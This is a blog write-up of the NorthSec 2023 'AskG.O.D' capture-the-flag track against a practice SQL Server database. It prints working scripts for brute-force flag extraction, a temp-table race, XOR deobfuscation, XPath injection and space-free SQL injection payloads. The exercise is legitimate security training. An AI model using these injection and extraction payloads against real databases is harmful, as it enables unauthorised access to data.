In uncategorized
0

This post is a writeup of the AskG.O.D track that we did at NorthSec 2023.

Introduction

This was the introduction to the challenge. “Notepad.exe” is the forum where all challenges were posted.

Port 1433 is the standard port for SQL Server, so I used SQL Server Management Studio to connect to the server with the supplied credentials.

After connecting, this is what we see in the console:

We find several stored procedures and the studio allows us to create a script to execute them or see their definition.

Strange names (flags 1 and 2)

Two of the stored procedures have strange names, one with a unicode character and the other which has all special characters. The studio correctly structured the calls to the stored proc and they didn’t require parameters. But the unicode character still caused some troubles. My colleague Remi solved it.

Running them gave us the first two flags. Upon submitting them, we saw that there were 18 flags in this track.

SlowlyButSherly (flag 3)

I don’t have the definition of this stored proc, but it performed a comparison like this:

if(@flag like @input+'%')

So if the start of the input matches the flag, the stored proc returned 1 otherwise it returned 0. So the idea was to recover the characters one by one starting with the first. I asked ChatGPT to write a TSQL while loop that tried all ASCII characters and then modified the code to get this:

DECLARE @return_value INT
DECLARE @ascii_num INT = 1;
DECLARE @char_val VARCHAR(38);
DECLARE @accum VARCHAR(38) = ''; -- Start with empty string
DECLARE @len INT = 1;
DECLARE @found INT = 0;

WHILE (@len < 39)
BEGIN
	SET @found = 0;
	SET @ascii_num = 32

	-- Try every character
	WHILE (
			@ascii_num <= 127
			AND @found = 0
			)
	BEGIN
		IF (@ascii_num <> 37) -- Don't try '%'
		BEGIN
		    -- Add the character to the end of the string that we found until now
			SET @char_val = CONCAT (
					@accum
					,CHAR(@ascii_num)
					);
			-- Try this string
			EXEC @return_value = [dbo].[SlowlyButSherly] @x = @char_val

			IF @return_value = 1
			BEGIN
				-- If it matches, we set this as our current string
				SET @accum = @char_val
				SET @found = 1;
				SET @len = len(@accum)
			END
		END

		-- Try the next character
		SET @ascii_num = @ascii_num + 1;
	END
	-- Print the string that we found so far, we print it every time we get a new character
	print(@accum)
END

Authenticate (flag 4)

This stored proc looked like this:

CREATE PROCEDURE [dbo].[Authenticate](@username VARCHAR(50), @password VARCHAR(50))
AS
BEGIN
	IF EXISTS(SELECT * FROM Accounts WHERE username = @username AND password = @password)
	BEGIN
		SELECT flag FROM flags WHERE id = 10
	END
END

I could not find any way to select information in the Accounts table. The way the query is structured, I also tried inserting a row in the account table with a known username and password but I had no rights to insert into the account table. I must admit it took a long time before I thought about the solution (I tried other challenges in the track during this time).

Eventually, I had a hint to look at my permissions by running this query:

SELECT 
    USER_NAME(grantee_principal_id) AS [user],
    USER_NAME(grantor_principal_id) AS [grantor],
    OBJECT_NAME(major_id) AS [table_name],
    permission_name,
	*
FROM 
    sys.database_permissions
WHERE 
    USER_NAME(grantee_principal_id) = USER_NAME()

This gave me a lot of information (and helped me solve many other challenges in the track):

I had the update rights on the account table, so I solved the challenge like this:

update Accounts set username ='asd', password = 'asd'
exec Authenticate 'asd','asd'

StoredProcedure (flag 5)

Listing the permissions in the Authenticate challenge allowed me to see a stored procedure named “StoredProcedure”. Weirdly, it did not appear in the list in SQL Server Management Studio. So I executed it and got another flag.

AskGOD (flag 6)

This was the stored proc:

CREATE PROCEDURE [dbo].[AskGOD]
AS
BEGIN 
	DECLARE @object VARBINARY(max), @output NVARCHAR(max)
	SELECT TOP 1 @object = [data] FROM Gibberish
	EXECUTE dbo.Decrypt @object, @output = @output OUTPUT
	IF (@output = 'O'' GOD, may I ask for the flag please.')
	BEGIN 
		SELECT flag FROM flags WHERE id = 11
	END
END

In the list, there were two stored proc: Decrypt and Encrypt that we could execute but not see their definition. I simply tried to Encrypt the desired output and used the trick from Authenticate to update the Gibberish table.

DECLARE @object VARBINARY(max), @output NVARCHAR(max)
set @output = 'O'' GOD, may I ask for the flag please.'
exec encrypt @output, @output = @object OUTPUT
update Gibberish set [data] = @object
exec AskGod

ExecuteMeIfYouCan (flag 7)

This one was simple:

CREATE PROCEDURE [dbo].[ExecuteMeIfYouCan]
AS
BEGIN
	SELECT flag FROM flags WHERE id = 12
END

I could not execute it directly, but I saw that we had impersonate rights from coworker, so I simply tried:

exec as user = 'coworker'
	exec ExecuteMeIfYouCan

createTempTable (flag 8)

I do not have this stored proc, but from memory, it looked like this:

CREATE PROCEDURE [dbo].[createTempTable]
AS
BEGIN
    SELECT flag FROM flags WHERE id = X INTO ##temp
    drop table ##temp
END

So the idea was that the stored proc put the flag in a temp table and dropped the temp table immediately afterwards. However, the trick was to notice that the temp table had “##” at the start which means it is a global temp table.
This means that it is accessible to anyone and other connections.
See: https://stackoverflow.com/a/2921091

So the trick was to query the temp table a the exact right moment when it contained the flag. The problem is that trying to query it when it does not exist results in an error that stops scripts.

I asked ChatGPT to make me a loop to call a stored procedure repeatedly while catching exceptions.

The first script repeatedly calls the stored proc to put the flag in the temp table

DECLARE @retryCount INT = 100000;
DECLARE @retryDelayInSeconds INT = 5;
DECLARE @retryAttempts INT = 0;

WHILE (@retryAttempts < @retryCount)
BEGIN
	exec createTempTable        
    SET @retryAttempts = @retryAttempts + 1;
    PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10));
end

The second script repeatedly queries the temp table with a catch clause so that the script doesn't end.

DECLARE @retryCount INT = 100000;
DECLARE @retryDelayInSeconds INT = 5;
DECLARE @retryAttempts INT = 0;

WHILE (@retryAttempts < @retryCount)
BEGIN
    BEGIN TRY
		exec ('        SELECT * FROM ##temp;')
        -- Exit the loop if the SELECT statement succeeded
        SET @retryAttempts = @retryCount;
    END TRY
    BEGIN CATCH
    SET @retryAttempts = @retryAttempts + 1;
    -- Print a message for the retry attempt
    IF (@retryAttempts < @retryCount)
    BEGIN
        PRINT 'The SELECT statement failed. Retrying... Attempt ' + CAST(@retryAttempts AS VARCHAR(10));
    END    
END CATCH
end

b2JmdXNjYXRIZA== (flag 9)

This stored proc takes a single parameter, but it is hard to know what we should pass. It looks like this:

CREATE PROCEDURE [dbo].[b2JmdXNjYXRlZA==] (@AAymxBn9HwG6T2 VARCHAR(32))
AS
BEGIN
	CREATE TABLE #qNs2BLcR4j (flag VARCHAR(38), AAymxBn9HwG6T2 VARCHAR(32), z9ebDjZgqX VARCHAR(4), LXduUXp3V5 INT)
	INSERT INTO #qNs2BLcR4j SELECT flag, @AAymxBn9HwG6T2, z9ebDjZgqX, LXduUXp3V5 FROM flags, YxA9R69MCb WHERE id = 1
	DECLARE @query VARCHAR(MAX)
	SET @query = (SELECT CONVERT(VARCHAR(MAX),CAST('' as xml).value('xs:base64Binary(''REVjbEFyRSBAaWFxNVpYWmNqNSBJblQsQGhHMktlaXZQV0Z1T3lSSyB2QXJDaEFyKE1heCksQG13bmxscXdNZGR0IFZhckNIYVIoNCk7c2VsRWN0IEBpYXE1WlhaY2o1PTEsQG13bmxscXdNZGR0PXo5ZWJEalpncVgsQGhHMktlaXZQV0Z1T3lSSz0weDY3YjllNmE0NDJhZWUwZTg2Mzk5ZThmYjYyOTljYTg2NTI5ZGUzZjE0YmZjY2NhNjc3ZjBhNTg4NmZhOWU3YmI3M2E1ZWU4NzE3YWVlZmZkMDNhYWM0YmE2MDk0YzQ5YTBiYjFjNDkwMGFmMGE1ODg0NmE4ZjFiMDUzOGNmZmFkNTc5N2NiZTg0YTkyZjFmMzUwOTljOWFkNjA4OGE1ODg2NmIxYjY4OTY2OTNjYmI5NjJiYWJjYTAxZWVkYTk4ODZmYTllN2JiNzNhNWVlODcxN2FlZWZmZDFlZWNmZGFjMTNiZmUxZjAxNGU0ZTNhYzQyYmRlNmFjMTBiZmU2YTk0MmJlZTdmMDE0YmVlN2FhMTViZWIyZjAxNGU1YmRmMDE0YmRiZGE5MWJiOWI1YWMxN2I4ZTNhOTFhYjhiMGE5MTNiZGUzYWM0NmJkZTBmMTQ3YmVlN2YxMWFlNGIyYWI0N2I4YmNhYzE1YjhiMWYwMTRlNGU0YWMxYmJlYjBhYzQyZTViY2E5MWFiZWI2YWI0MmJlYmNmMTQxYjhiNGYxMTNlNGIyYTkxN2U0YjJmMDQ2YmZlNmYxNDBiZmU2YWIxYWJmZTRhYjQxYmZlNGFiNDBlNWU3YWI0MWU1YjJhYjQxYmRiNWYxNDdiZGI1ZjExYmJmZTdhYjFiZTVlNmFiNDBlNWUwYWI0N2U1ZTRmMTQ2ZTVlN2FiNDdiZmJjZjExYWJmZTZmMTQ2YmZlMWFiMWFlNGUwZmYxN2ViYjRhYjFhYmZlNmFiNDZiZWI1YWMxNmViYjFmZjEyYjhlNGE5NDBiZWI2YWI0MGJkZTRhYzQxZTRiMmFiNDdiOGI2YWIxYmJmZTBmMDE0YmRlMWFjMWFiZWIzYWExN2U0YjJmMDQyYjhiZGFhMTZiOGU0ZjExYWJkYmNhYTEwYmZlNGFhMWFlNWU3YWMxMmViYjFmZjEyYmZlNmFhMTZiZmU3ZTQwMzljZTBiYzU3YTRmNTk4NTliOWYxODM2ZGZjYjhlODZmODRlMWJkNzY4NGY1ZmI3NWU5YTU4ZTcxOTNlOGU4MDBhZGNiYmIxMTllYzlhYjcxZThlZmYzNTRiNGVjYTQ0NmZjYzU4ZDRlZWZjNDhkNmM5MmY0ODk0NWU1ZWRmNDFlYjBlMDg2MGI5Y2M5YmQ0MWFmZDViMTQ4OTNiMWJhNDllOWFjYzI2MTk5YzJhMTZkZDZkNjhkNTdmY2M1ODQ1NmJlZjY5ODVhYjdjYWZjNTFiNmIwZjU1MGE5YzdiYjc3YWVjYzg2NDRmNGM1ODQ1NmJlZjY5ODVhYjdjYWZjNTFiNmIwZTQwM2VkYTllODYzOTllOGZiNjI5OWNhODY1MjlkZTNmMTRiZjFiNGUxMDg5ZmVkYTk1MWY0ZTQ5YjQwYjVlY2UwNzA4OWU3OWI3N2FlY2NhNjQ0ZjRjNTg0NTZiZWY2OTg1YWI3Y2FmYzUxYjZiMGU0NjM5OWU4ZmI2Mjk5Y2E4NjUyOWRlM2YxNGJmMGI0ZTEwYWYxYzVhZDU3YThmZGI4NzNhNmUwYmM2ODkyYWNlMzcwYTljNzliNTc4ZWVjYTY0NGY0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlNDAzOWNjMGE1MTA5ZGMwODc2ZGFkYzRhZTFhYjRhZWY5MGZmY2U5YWQ2ZGY0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlMTBhZTdmNjhkNTdmY2M1OGQ0ZWVmYzQ4ZDZjOTJmNDg5NDVlNWVkZjU2Mzk5ZThmYjYyOTljYTg2NTI5ZGUzZjE0YmY3YjRjMjY2YjJlMWYzNDY4NGMwOGIwM2Y0YzU4NDU2YmVmNjk4NWFiN2NhZmM1MWI2YjBlMSBGUk9tICNxTnMyQkxjUjRqO3dISWxlIEBpYXE1WlhaY2o1PD1sRW4oQGhHMktlaXZQV0Z1T3lSSykKYmVHaU4gClNlVCBAaEcyS2VpdlBXRnVPeVJLPXN1YlNUUklORyhAaEcyS2VpdlBXRnVPeVJLLDEsQGlhcTVaWFpjajUtMSkrQ2hhcihBU0NpSShTdWJTVHJpTkcoQGhHMktlaXZQV0Z1T3lSSyxAaWFxNVpYWmNqNSwxKSleQXNjSUkoc3ViU1RSSW5HKEBtd25sbHF3TWRkdCwoKEBpYXE1WlhaY2o1LTEpJWxlbihAbXdubGxxd01kZHQpKSsxLDEpKSkrc3ViU1RySW5nKEBoRzJLZWl2UFdGdU95UkssQGlhcTVaWFpjajUrMSxMZU4oQGhHMktlaXZQV0Z1T3lSSykpO3NFVCBAaWFxNVpYWmNqNT1AaWFxNVpYWmNqNSsxOwplTkQ7RVhFYyAoQGhHMktlaXZQV0Z1T3lSSyk='')','varbinary(MAX)')))
    EXECUTE (@query)
END

It looked like an obfuscated query, so I ran the select to get:

DECLARE @iaq5ZXZcj5 INT
	,@hG2KeivPWFuOyRK VARCHAR(Max)
	,@mwnllqwMddt VARCHAR(4);

SELECT @iaq5ZXZcj5 = 1
	,@mwnllqwMddt = z9ebDjZgqX
	,@hG2KeivPWFuOyRK = 0x67B9E6A442AEE0E86399E8FB6299CA86529DE3F14BFCCCA677F0A5886FA9E7BB73A5EE8717AEEFFD03AAC4BA6094C49A0BB1C4900AF0A58846A8F1B0538CFFAD5797CBE84A92F1F35099C9AD6088A58866B1B6896693CBB962BABCA01EEDA9886FA9E7BB73A5EE8717AEEFFD1EECFDAC13BFE1F014E4E3AC42BDE6AC10BFE6A942BEE7F014BEE7AA15BEB2F014E5BDF014BDBDA91BB9B5AC17B8E3A91AB8B0A913BDE3AC46BDE0F147BEE7F11AE4B2AB47B8BCAC15B8B1F014E4E4AC1BBEB0AC42E5BCA91ABEB6AB42BEBCF141B8B4F113E4B2A917E4B2F046BFE6F140BFE6AB1ABFE4AB41BFE4AB40E5E7AB41E5B2AB41BDB5F147BDB5F11BBFE7AB1BE5E6AB40E5E0AB47E5E4F146E5E7AB47BFBCF11ABFE6F146BFE1AB1AE4E0FF17EBB4AB1ABFE6AB46BEB5AC16EBB1FF12B8E4A940BEB6AB40BDE4AC41E4B2AB47B8B6AB1BBFE0F014BDE1AC1ABEB3AA17E4B2F042B8BDAA16B8E4F11ABDBCAA10BFE4AA1AE5E7AC12EBB1FF12BFE6AA16BFE7E4039CE0BC57A4F59859B9F1836DFCB8E86F84E1BD7684F5FB75E9A58E7193E8E800ADCBBB119EC9AB71E8EFF354B4ECA446FCC58D4EEFC48D6C92F48945E5EDF41EB0E0860B9CC9BD41AFD5B14893B1BA49E9ACC26199C2A16DD6D68D57FCC58456BEF6985AB7CAFC51B6B0F550A9C7BB77AECC8644F4C58456BEF6985AB7CAFC51B6B0E403EDA9E86399E8FB6299CA86529DE3F14BF1B4E1089FEDA951F4E49B40B5ECE07089E79B77AECCA644F4C58456BEF6985AB7CAFC51B6B0E46399E8FB6299CA86529DE3F14BF0B4E10AF1C5AD57A8FDB873A6E0BC6892ACE370A9C79B578EECA644F4C58456BEF6985AB7CAFC51B6B0E4039CC0A5109DC0876DADC4AE1AB4AEF90FFCE9AD6DF4C58456BEF6985AB7CAFC51B6B0E10AE7F68D57FCC58D4EEFC48D6C92F48945E5EDF56399E8FB6299CA86529DE3F14BF7B4C266B2E1F34684C08B03F4C58456BEF6985AB7CAFC51B6B0E1
FROM #qNs2BLcR4j;

WHILE @iaq5ZXZcj5 <= lEn(@hG2KeivPWFuOyRK)
BEGIN
	SET @hG2KeivPWFuOyRK = subSTRING(@hG2KeivPWFuOyRK, 1, @iaq5ZXZcj5 - 1) + CHAR(ASCiI(SubSTriNG(@hG2KeivPWFuOyRK, @iaq5ZXZcj5, 1)) ^ AscII(subSTRInG(@mwnllqwMddt, ((@iaq5ZXZcj5 - 1) % len(@mwnllqwMddt)) + 1, 1))) + subSTrIng(@hG2KeivPWFuOyRK, @iaq5ZXZcj5 + 1, LeN(@hG2KeivPWFuOyRK));
	SET @iaq5ZXZcj5 = @iaq5ZXZcj5 + 1;
END;

EXEC (@hG2KeivPWFuOyRK)

After looking at it for a while, I realized that it was hex bytes that were xored with an unknown 4-byte key. I created a small program to create 4 sets of bytes based on their index modulo 4. Then I tried all 1-byte values to xor with all values in each set. If, after xoring, all values in the set are in the printable range, I kept the value used in the XOR. This resulted in 4 sets of eligible values to XOR. I actually had a little trouble because it seemed like some values could not be xored in two of the sets (they did not result in valid characters). So I lowered the threshold and if only one or two characters in the set did not yield printable characters, I still considered the value eligible.

Then I tried all combinations of eligible values to XOR with the data and printed all text that contained "select". With these 4 bytes, it resulted in:

DECLARE @Em3AEONqAf9h INT
	,@LubsPykO4rj5 VARCHAR(mAX)
	,@ettxpPzetKN INT;

SELECT @Em3AEONqAf9h = 1
	,@LubsPykO4rj5 = 0xD0CD878FDAACD3CCAABB87BBB6B7879887A8A8E0D4DFA9D5A0AFDEAE9DBB9987CDD9D6D4878AD8B5DA99A9B3CAB99BD19087A4878ECC9CCCC9CACBCACC9BCB97CBA09DA098CBC89CCC9ECD9A9E9BCDC999CC9ECDC98E7471C9CCCEB0D57471DAACB3CCAADB87CDD3C8CE87ADD9B6B4878AD8B5DA99A9B3CAB99BD17471CCB5CB
	,@ettxpPzetKN = LXduUXp3V5
FROM #qNs2BLcR4j;

WHILE @Em3AEONqAf9h <= leN(@LubsPykO4rj5)
BEGIN
	SET @LubsPykO4rj5 = suBsTrINg(@LubsPykO4rj5, 1, @Em3AEONqAf9h - 1) + CHAR(aScii(SUbSTrIng(@LubsPykO4rj5, @Em3AEONqAf9h, 1)) - @ettxpPzetKN) + SuBStRing(@LubsPykO4rj5, @Em3AEONqAf9h + 1, leN(@LubsPykO4rj5));
	SET @Em3AEONqAf9h = @Em3AEONqAf9h + 1
END;

EXEC (@LubsPykO4rj5)

This is the same concept, but there is a single character xored with the hex bytes. I used a similar tactic to get this:

if (sEleCT TOP 1 AAymxBn9HwG6T2 from #qNs2BLcR4j) = 'e5ebcdce4d0d9691da5e7f374fb2e7fb'
begIn
sELeCt flag FrOM #qNs2BLcR4j
eNd

This gave us what we needed to send to the stored proc and get the flag.

Substitution (flag 10)

This stored proc looked like this:

CREATE PROCEDURE [dbo].[substitution] (@query VARCHAR(500))
AS
BEGIN
	SET NOCOUNT ON
	DECLARE @rowCount INT, @row INT = 0, @index INT = 1, @position INT = 1, @length INT, @replaceFrom VARCHAR(30), @replaceTo VARCHAR(30), @newquery VARCHAR(500) = ''
	CREATE TABLE #UmRYqEjd9ylygA (flag VARCHAR(38))
	INSERT INTO #UmRYqEjd9ylygA SELECT flag FROM flags WHERE id = 8
	CREATE TABLE #VK37aPGHw9l4e (replaceTo VARCHAR(30), position INT, length INT)
	
	SELECT @rowCount = COUNT(*) FROM SubstitutionTable
	WHILE @row < @rowCount
	BEGIN
		SELECT @replaceFrom = replaceFrom, @replaceTo = replaceTo FROM SubstitutionTable ORDER BY replaceFrom OFFSET @row ROW FETCH FIRST 1 ROW ONLY
		SET @index = 1
		SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index)
		WHILE @position > 0
		BEGIN
			INSERT INTO #VK37aPGHw9l4e VALUES (@replaceTo, @position, LEN(@replaceFrom))
			SET @index = @index + @position + LEN(@replaceFrom)
			SET @position = CHARINDEX(@replaceFrom, UPPER(@query), @index)
		END
		SET @row = @row + 1
	END
	SET @row = 0
	SET @index = 1
	SELECT @rowCount = COUNT(*) FROM #VK37aPGHw9l4e
	WHILE @row < @rowcount
	BEGIN 
		SELECT @replaceTo = replaceTo, @position = position, @length = length FROM #VK37aPGHw9l4e ORDER BY position OFFSET @row ROW FETCH FIRST 1 ROW ONLY
		IF @index < @position
		BEGIN
			SET @newquery = @newquery + SUBSTRING(@query, @index, @position - @index)
		END
		SET @newquery = @newquery + @replaceTo
		SET @index = @position + @length
		SET @row = @row + 1
		IF @row = @rowCount
		BEGIN 
			SET @newquery = @newquery + SUBSTRING(@query, @index, LEN(@query) + 1 - @index)
		END
	END
	EXEC (@newquery)
END

I ran it with "asd" and luckily I hit one of the substitutions and this resulted in an error "Invalid syntax near fromd". I then spent a lot of time trying to build the full substitution table because I thought that I would need to create a weird string that would be substituted into the right query.

After many hours, I changed tactic. Initially, I had tried to repeat the string like this: "asdasdasd", but the second "as" did not get substituted to "from" like the first. I noticed this line:

SET @index = @index + @position + LEN(@replaceFrom)

The @position in the line increases the index a lot and skips a lot of characters that do not get replaced. So in the end, I simply have to write the select that I need but before hand make sure that I did enough replacement so that my real query did not get replaced.

I ended up using this text in the stored procedure:

--aaaaaaaaaaaaaaaaasdselectselectselectfromfromfromfromfrom
select * from #UmRYqEjd9ylygA

All the select and from on the first line get replaced and because it is after "--" it is in a comment that doesn't stop the execution. Afterwards, on a separate line, I write the right query and there are no substitution because there were enough on the first line.

GetOut (flag 11)

I do not remember my solve for this and do not have the definition of this stored proc. From what I remember it was about getting the output parameter. I believe that SQL Server Management Studio did all the work for me once again, but I am not sure.

GetWorkerProperty (flags 12, 13 and 14)

This stored proc looked like this:

CREATE PROCEDURE [dbo].[GetWorkerProperty] (@workername VARCHAR(150))
AS 
BEGIN
	-- You see 2 flags? I see 3.
	IF (@workername LIKE '%''%')
	BEGIN
		RETURN -1
	END
	
	DECLARE @flag1 VARCHAR(38), @flag2 VARCHAR(38), @query VARCHAR(300)
	SELECT @flag1 = flag FROM flags WHERE id = 16
	SELECT @flag2 = flag FROM flags WHERE id = 17
	CREATE TABLE #workers (properties XML, flag VARCHAR(38))
	INSERT INTO #workers SELECT properties, @flag2 FROM workers
	SET @query = 'DECLARE @flag VARCHAR(38);SET @flag = '''+@flag1+''';SELECT properties.query(''//worker[@name = "'+@workername+'"]/child::node()'') AS property FROM #workers AS w'
	EXECUTE(@query)
END

There were two flags with a hint of a third one. This was clearly an XML XPath injection challenge and the trick was finding the right syntax.

I created myself a playground to experiment with the syntax. I find that this is a good strategy in general to be able to reproduce the challenge in a known environment to get more information.

DECLARE @xmlData XML = 'John DoeJane Doe';
SELECT @xmlData.query('//worker[@name = "johnny"]/child::node()') AS property

I then combined classis SQL injection technique and path traversal to dump the full XML document.

DECLARE @xmlData XML = 'John DoeJane Doe';
SELECT @xmlData.query('//worker[@name = "a" or "1"="1"]/../../..["1"="1"]/child::node()') AS property

exec GetWorkerProperty 'a" or "1"="1"]/../../..["1"="1'

This gave me the secret third flag.

I then started trying to get the flag that was in the variable "@flag". I eventually found the syntax: sql:variable("@flag") to access variables. I then used a technique of enumerating each value one after the other like in a boolean SQLi.

This was my proof of concept:

exec GetWorkerProperty 'a" or "FLAG-"=substring(sql:variable("@flag"),1,5) or "2"="1'

exec GetWorkerProperty 'a" or "0"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "1"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "2"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "3"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "4"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "5"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "6"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "7"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "8"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "9"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "a"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "b"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "c"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "d"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "e"=substring(sql:variable("@flag"),6,5) or "2"="1'
exec GetWorkerProperty 'a" or "f"=substring(sql:variable("@flag"),6,5) or "2"="1'

I did not find an easy way to get access to the resulting result set of the stored procedure (it does appear in the output window, but I didn't know how to use it in the T-SQL script). In the end I asked ChatGPT to write me the while loops to try hex characters at each successive position in the flag. Whenever it was the right character the result set contained a value. When it was wrong, it did not. I printed the character that I was trying as well as the index, simply to help me quickly assemble them manually by finding the resultsets that had values. Having so many result set in the output window slowed the studio a lot, so I did it in two runs (characters 6 to 20 and then 20 to 40, the first 5 were "FLAG-").

DECLARE @hexDigits NVARCHAR(16) = N'0123456789abcdef';
DECLARE @index INT = 1;
DECLARE @index2 INT = 20;
DECLARE @count INT = LEN(@hexDigits);
DECLARE @currentChar NVARCHAR(1);
declare @test varchar(100);
declare @res int;

while(@index2 < 40)
begin
	set @index = 1
	WHILE (@index <= @count)
	BEGIN
		SET @currentChar = SUBSTRING(@hexDigits, @index, 1);

		PRINT 'Trying hex digit ' + @currentChar;

		set @test = concat('a" or "',@currentChar,'"=substring(sql:column("flag"),',@index2,',1) or "2"="1')
		print @test

		select @index2,@currentChar
		exec GetWorkerProperty @test

		SET @index = @index + 1;
	END
    SET @index2 = @index2 + 1;
end

This gave me the first flag and I got the second flag using the same technique, but with sql:column("flag") syntax to get the second flag which was stored in another column of the same table.

BooleanSQLi (flag 15)

My colleague did this one, I do not have the code for it...

ErrorSQLi (flag 16)

My colleague did this one, I do not have the code for it...

UnionSQLi (flag 17)

My colleague did this one, I do not have the code for it...

Bonus (flag 18)

There was another stored proc called "UnlockBonusChallenge". It said to execute it with the values of the flags for BooleanSQLi, ErrorSQLi and UnionSQLi to get to the bonus challenge. We did it and it gave us credentials to connect to the same server using a different account named "bonus". With this connection, there was a single stored proc named "challenge".

BEGIN
	DECLARE @i INT = 1
	WHILE @i < len(@injection)
	BEGIN
		IF SUBSTRING(@injection, @i, 1) NOT LIKE '[a-zA-Z0-9''#.,\[\]()_]' ESCAPE '\'
			RETURN -1
		SET @i = @i + 1
	END
	              
	CREATE TABLE #XPvRMOo5qobus8 (yY1aX7UuNiC VARCHAR(16))
	DECLARE @query VARCHAR(MAX)
	SET @query = 'SELECT ''' + @injection + ''''
	EXEC (@query)
	EXEC validator
END

The first part was a check that only allowed characters were submitted. A lot of dangerous characters were allowed, notably "'" to allow us to escape. But some important characters were missing: " ", ";", "=" or newlines.

When ran with an input that contained an invalid character it simply returned -1. When ran with "1" to make the select work, it output:

The goal of this challenge is to have the following schema 'TABLE #XPvRMOo5qobus8 (givemeflagplease VARCHAR(16))' 
with the value of #XPvRMOo5qobus8.givemeflagplease = 'GiveMeFlagPlease'. If you successfully meet this requirement, the flag will appear in the results.

The temporary table was already created with the right name, but the name of the column was not right and we needed to insert the right data into it. From using SQL Server a lot, I knew that ";" at the end of statements was unnecessary when they were on multiple lines. But I also knew from working a lot in SQL Server Management Studio that even on the same line, statements did not need ";" between them. In the studio, the parser displays invalid syntax elements with a red squiggly line underneath. And through editing I had remarked that sometimes when joining lines in the course of editing, there would be no syntax error with two statements adjacent one to the other. On a side note, I have always wondered how hard it is to write a parser that handles this crazy syntax...

Even though I had clues, I still spent hours on this problem. The problem was that to insert data you need "INSERT INTO...". The space between "INSERT" and "INTO" was the problem preventing me from inserting. I had solutions for everything else.
I discovered fairly quickly how to rename the column of the temp table like this:

exec challenge '1''use[tempdb]exec[sp_rename]''#XPvRMOo5qobus8.yY1aX7UuNiC'',''givemeflagplease'

-- Results in this when put in the stored proc
select '1'use[tempdb]exec[sp_rename]'#XPvRMOo5qobus8.yY1aX7UuNiC','givemeflagplease'

I tried "SELECT INTO" syntax to insert data in a temp table, but it needs to be a new temp table, so I cannot insert into the right temp table because it already exists. I tried for a long time to delete the existing temp table or rename it out of the way, but both of these are not permitted and I could not find a way around it.

I asked ChatGPT for all ways to insert data in TSQL. It suggested "MERGE", "UPDATE OUTPUT" and many other ways that I tried. One of my closest attempt was:

exec challenge 'GiveMeFlagPlease''as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]''#XPvRMOo5qobus8.yY1aX7UuNiC'',''givemeflagplease'

-- Results in this when put in the stored proc
select 'GiveMeFlagPlease'as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]'#XPvRMOo5qobus8.yY1aX7UuNiC','givemeflagplease'

The idea here was to use the select to insert data into another temp table (named "#temp") and then use an "UPDATE...OUTPUT..." statement to update that data and output the updated data in the right table so that it was inserted correctly. However, it was rejected. Can you spot why?

In the many hours it took me to solve this challenge I had built a validator for my queries and this showed that the "=" needed for the "UPDATE" syntax was rejected.

Eventually, I asked Tristan for some help on this challenge and I was telling him about the issue with "INSERT INTO" and the space between the two words. I had written out a full query that was valid in my editor but it had the space between "INSERT INTO". Out of frustration, I highlighted the "INTO" and pressed delete telling him that this was the word causing the issue. To my surprise, there were no red squiggly lines. That syntax was valid... In all my years of writing SQL, I've always written INSERT INTO and I learned that "INTO" was optional. The reference documentation show this: INSERT Reference.

So the solution was:

exec challenge '1''insert[#XPvRMOo5qobus8]values(''GiveMeFlagPlease'')use[tempdb]exec[sp_rename]''#XPvRMOo5qobus8.yY1aX7UuNiC'',''givemeflagplease'

-- Results in this when put in the stored proc
select '1'insert[#XPvRMOo5qobus8]values('GiveMeFlagPlease')use[tempdb]exec[sp_rename]'#XPvRMOo5qobus8.yY1aX7UuNiC','givemeflagplease'

Final flag worth 7 points!

Leave a Comment

Start typing and press Enter to search